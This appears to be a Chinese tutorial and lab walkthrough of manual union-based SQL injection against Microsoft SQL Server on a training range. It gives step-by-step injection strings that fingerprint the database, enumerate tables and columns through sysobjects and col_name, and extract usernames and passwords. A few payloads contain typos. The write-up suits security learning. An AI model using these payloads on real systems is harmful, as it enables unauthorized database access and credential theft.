1. MSSQL注入手工联合注入

mssql数据库相比mysql数据库本质上的框架是差不多的,使用的增,删,改,查命令是互相通的,mysql中使用的函数在mssql中有些会起不到作用点。

  • (例如:在mssql中只能用top 取代limt 0,N,row_number() over()函数取代limit N,M)
    mssql在使用上和可移植等方面与mysql存在不同的差异。

MSSQL数据库的基本知识

  • MSSQL中自带数据库信息
库名相关功能
master系统控制数据库,包含配置信息,用户登录信息,系统运行状态
model模板数据库,数据库时建立所有数据库的模板。
tempdb临时容器,保存所有的临时表,存储过程和其他程序交互的临时文件
msdb主要为用户使用,记录着计划信息、事件处理信息、数据备份、警告以及异常信息
  • MSSQL系统视图表 (MSSQL数据库与MYSQL数据库一样,自带数据表sysobjects和syscolumns)
视图表功能
sysobjects记录了数据库中所有表,常用字段为id、name和xtype
syscolumns记录了数据库中所有表的字段,常用字段为id、name和xtype
sys.databasesSQL Server 中所有的数据库
sys.sql_loginsSQL Server 中所有的登录名
information_schema.tables当前用户数据库的表
information_schema.columns当前用户数据库的列
sys.database_files存储在数据库中数据库文件

Mssql数据库手工联合注入

这里我们使用的靶场环境为墨者学院中Sql Server注入环境
在这里插入图片描述

  1. 判断是否是Mssql数据库类型

and exists(select * from sysobjects) –
and exists(select count(*) from sysobjects) –

  • 输入上面的mssql手工注入代码时候,如果不存在报错,更改命令中的代码信息就产生报错,则可以判断数据库类型为Mssql数据库
    在这里插入图片描述在这里插入图片描述
  1. 判断mssql数据库的字段长度

order by 5

此处发现order by 5会报错,那我们使用4试试
在这里插入图片描述

  • 我们发现字段为4未出现报错,所以注入的字段数为4
    在这里插入图片描述
  1. 寻找字符型的显示位置
  • 注意:在mssql中查找显示位时需要在union select中间添加all,因为union select在mssql中会重复一些字段从而导致报错
  • null 表示无论是数字形式还是字符形式

id=-2 and union all select null,null,null,null

在这里插入图片描述
4. 通过更改null的字符进行判断显示

id=-2 and union all select null,‘2’,‘3’,null

  • 通过第二个和第三个我们发现判断显示的位置,我们获取数据库信息也从这两个显示位置注入。
    在这里插入图片描述
  1. 通过命令对数据库进行相关查询

@@version-:获取版本信息
db_name():数据库名字
user,system_user,current_user,user_name:获取当前⽤户名
@@SERVERNAME:获取有关服务器主机的信息

  1. 查询mssql数据库的版本信息

id=-2 and union all select null,@@verions,‘3’,null

  • 这里我们看见mssql数据库的版本信息为sql server 2005
    在这里插入图片描述
  1. 查询并获取出数据库名

id=-2 union all select null,db_name(),‘3’,null

在这里插入图片描述

  1. 通过前面获取的数据库名称,获取表名,但是在MSSQL中查询表与MYSQL存在区别。

mysql查询表:union select 1,table_column,3,4 from information_schema.columns where table_name=‘数据库名称’
mssql查询表:union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’),‘3’,4

mssql查询表中只能用top进行对表的版本查询,top查询中xtype=‘u’表示对对xtype中值为u的时候进行搜索,只能是u,如果是其他的值并不能搜索出现
在这里插入图片描述
此已经查询到了manage数据表,我们通过添加一个条件语句,使得查询不是‘manage’名称的表就可以继续查询到下一个数据表了

union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’ and name not in(‘manage’)),‘3’,4

在这里插入图片描述

9.发现数据表,我们可以继续查询表中对应的字段名称,通过col_name对表中进行查询
在这里插入图片描述

  • 通过修改在object_id(‘manage’)后面的数字就可以调整想要查看的字段

在这里插入图片描述

10.获取到了manage数据表的字段username和password后,我们就可以查看到相关信息
在这里插入图片描述

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐